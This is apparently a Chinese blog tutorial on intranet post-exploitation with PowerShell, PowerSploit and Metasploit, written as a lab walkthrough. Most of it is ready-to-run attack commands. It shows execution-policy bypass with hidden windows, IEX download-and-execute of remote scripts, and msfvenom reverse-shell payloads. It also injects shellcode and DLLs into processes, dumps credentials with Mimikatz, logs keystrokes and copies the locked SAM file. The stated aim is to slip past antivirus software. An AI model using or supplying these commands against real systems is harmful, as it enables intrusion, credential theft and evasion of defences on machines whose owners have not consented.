先说: 第一次写,大家轻点喷,扫扫盲…

内网环境下,我们用metasploit生成一个payload,万一运气稍微好点的,碰到了像360这些东西,我等小白是一脸懵的,这种情况下,就可以想powershell,总不会杀软连这个都要杀吧。

总之powershell + metasploit,双剑合璧,对我们来说在内网渗透中对我们还是有很大的帮助的,可以说是一个巨大的隐藏宝藏!

进入正题

一.Powershell

我们先来说说powershell,PowerShell 是运行在 Windows上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符 cmd.exe 的扩充,或是颠覆。Powershell需要.NET环境的支持,同时支持.NET对象。其可读性,易用性,可以位居当前所有 shell 之首。

这是别人说的,不过稍微研究下觉得,哇塞,这东西真的挺牛的,除了语法麻烦以外,剩下都挺好,不过语法麻烦让我们这种英文不好的人怎么玩啊

            

当前 PowerShell 有五个版本,分别为 1.0,2.0,3.0,4.0,5.0

当时看别人的文章都说是有四个版本,但是我打开windows10看一眼,恩,微软更新了,windows10自带的5.(好几)的版本啊

 先来看看他的基本命令:

? 新建目录 New-Item whitecellclub -ItemType Directory

? 新建文件 New-Item light.txt -ItemType File

? 删除目录 Remove-Item whitecellclub

? 显示文本内容 Get-Content light.txt

? 设置文本内容 Set-Content light.txt -Value “i love light so much”

? 追加内容 Add-Content light.txt -Value “but i love you more”

? 清除内容 Clear-Content light.txt

看看吧,什么感觉,你还喜欢他么?

不过好在,微软也想到了这个问题,我们可以用windows下的命令跟Linux下的命令,比如:

这里说一下,我们怎么看我们powershell的版本,

Get-Host

这个是虚拟机的win7,所以是2.0的版本

powershell还有一些比较叼的用法:

本地权限绕过执行

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过执行脚本


PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive

-NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1

直接用IEX下载远程的PS1脚本回来权限绕过执行


powershell "IEX (New-Object

Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-

Mimikatz -DumpCreds"

我们可以来试一下:

这个命令是可以看到我们的版本的

完美绕过!(ps:这里说一下,ps1结尾的是powershell脚本,大家可以自己去研究下,我这里就不在赘述了,因为我也不会写这种脚本)

二. Powersploit

介绍完了,我们开始我们的正题吧 Powersploit在内网渗透中的使用

powersploit一款基于powershell的后渗透(Post-Exploitation)框架,集成大量渗透相关模块和功能。

github地址: https://github.com/mattifestation/PowerSploit

这里才是重点,我们开始吧:

首先,我在我本机上下载这个脚本文件

ps:我本机用的是ubuntu,所以我这里就用ubuntu代替kali的操作

下载完成之后,我们把我们下载的文件放到apache目录小,让我们可以远程下载,然后启动apache

service apache2 start

然后我们访问我们的127.0.0.1  保证我们可以访问的到

他的目录就跟metasploit一样,分工明确

CodeExecution 在目标主机执行代码

ScriptModification 在目标主机上创建或修改脚本

Persistence 后门脚本(持久性控制)

AntivirusBypass 发现杀软查杀特征

Exfiltration 目标主机上的信息搜集工具

Mayhem 蓝屏等破坏性脚本

Recon 以目标主机为跳板进行内网信息侦查

(1). Invoke-Shellcode

 我们使用 Invoke-Shellcode

Invoke-Shellcode的作用:将shellcode插入您选择的进程ID或本地PowerShell中。

Invoke-Shellcode配合上metasploit,可以达到意想不到的效果

现在主机上下载我们的脚本(当然,你也可以直接从github上去下载,也可以从我们本机下载)

IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecution/Invoke--Shellcode.ps1")

我从我本机去下载

没有报错,基本上是下载成功了,我们可以使用Get-Help查看帮助,详细见上图

现在powersploit更新到了3.0,很多地方发生了改变,所以这里的语法发生了改变,至于之前的语法   自己百度吧,不过我想应该你是没有机会碰到了 – –

我们在ubuntu下执行:

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.102.1 lport=4444 -f powershell -o /var/www/html/PowerSploit/test

这里我们生成一个payload反弹木马

这里偷懒,直接生成在我的目录下,然后在win7下执行


IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")

IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/test")

并且设置监听

在powershell下运行

Invoke-Shellcode -Shellcode ($buf)

反弹成功

如果我们不想让powershell提示让我我们输入y确定的话,我们可以用这条命令

Invoke-Shellcode -Shellcode ($buf) -Force

这样他就不会提醒了

(2). 注入进程

我们可以把我们的马儿注入到一个进程里去,这个进程可以是现有的,也可以是我们重新启动一个

这里我就重启一个进程,顺便说两条powershell命令

Get-Process

这条命令可以让我们获取当前的进程,当然,你ps也可以的

然后我们重启一个进程

Start-Process C:\Windows\system32\notepad.exe -WindowStyle Hidden

这里我们启动了一个记事本,并把他设置成隐藏的

要记住我们的进程号,可以看到我这里记事本的进程为3348,

Invoke-Shellcode -ProcessID 3348 -Shellcode($buf) -Force

同样的,反弹成功!

(3).dll注入

Invoke-DLLInjection 是DLL注入脚本

首先还是一样的,下载脚本

IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")

然后我们要使用metasploit生成一个dll文件

sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.102.1 lport=4444 -f dll -o /var/www/html/PowerSploit/test.dll

然后我们去下载下来这个dll文件

IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/test.dll")(不可用此方法下载,需手动下载)

刚刚注入进程的时候我们就启动了一个新的进程,这次我们就注入到现有的进程中

我们就注入到3632这个进程中,

Invoke-DllInjection -ProcessID 3632 -Dll .\test.dll

注意切换模块,我们用的是reverse_tcp这个payload

切换完成,开始监听,这边执行

success!

PS:这里的话要注意了,dll文件不能直接通过powershell直接下载,我们要想办法传到服务器上,至于怎么传,大家各显神通吧~

(4).Invoke-Portscan端口扫描

他肯定没有nmap好用,但是各有优势吧,这个东西小,powershell窗口一关,他就消失了,但是nmap的话,你还要在人家服务器上下一个nmap么??动静太大了吧 – –

同样的,下载

IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Recon/Invoke-Portscan.ps1")

使用方法:

Invoke-Portscan -Hosts (ip,两个ip中使用,分割) -Ports “端口,一样的,分割”

Invoke-Portscan -Hosts 192.168.102.1,192.168.102.128 -Ports "80,22,3389"

扫描结果

(5).Invoke-Mimikatz

这玩意,干嘛的不用说了吧,相信大家都用过,内网神器!

IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")

使用

Invoke-Mimikatz -DumpCreds

这里抓取失败了,因为不是管理员权限,我们用管理员权限重新抓取

抓取成功,密码就是123456

(5).Get-Keystrokes

键盘记录,这玩意比metasploit下的那个键盘记录牛的多,一个是他记录的很详细,还有一个就是,他连你鼠标点的什么都记录,你说牛不牛

下载:

IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1")

使用方法:

Get-Keystrokes -LogPath + <保存位置>

看看结果

就问你!怕不怕??

(6):Invoke-NinjaCopy

这是什么,看名字懂了么,忍者复制!

在外国人眼中,忍者是很牛的,所以他们起名字这样起,那这玩意有啥用啊?

万能复制,听说sam文件一开机就加锁了,不能复制,我不信,来,我们试试

下载:

IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1")

这玩意也要管理员权限,要不没法用

用法:

Invoke-NinjaCopy -Path "文件在哪里" -LocalDestination "要到哪里去"

我们来试试copy命令:

这肯定考不出来,我们来试试这个

告诉我你看到了什么???

差不多没什么东西了,还有很多,查网站目录的,查dns的-等等,就没什么卵用了,我服务器都有了,我还要扫网站目录??what??可能是在本地使用的吧,

总结一下:

POWERSHELL还可以方便的调用Windows API等等等等,越深入研究越能发现他的牛逼,但是很多人缺忽略了他,此等神器,我收了!

一切的一切都是理论,真正的测试环境中,大家各显神通吧!

祝大家身体健康,技术进步!!!

* 本文作者:smile苦笑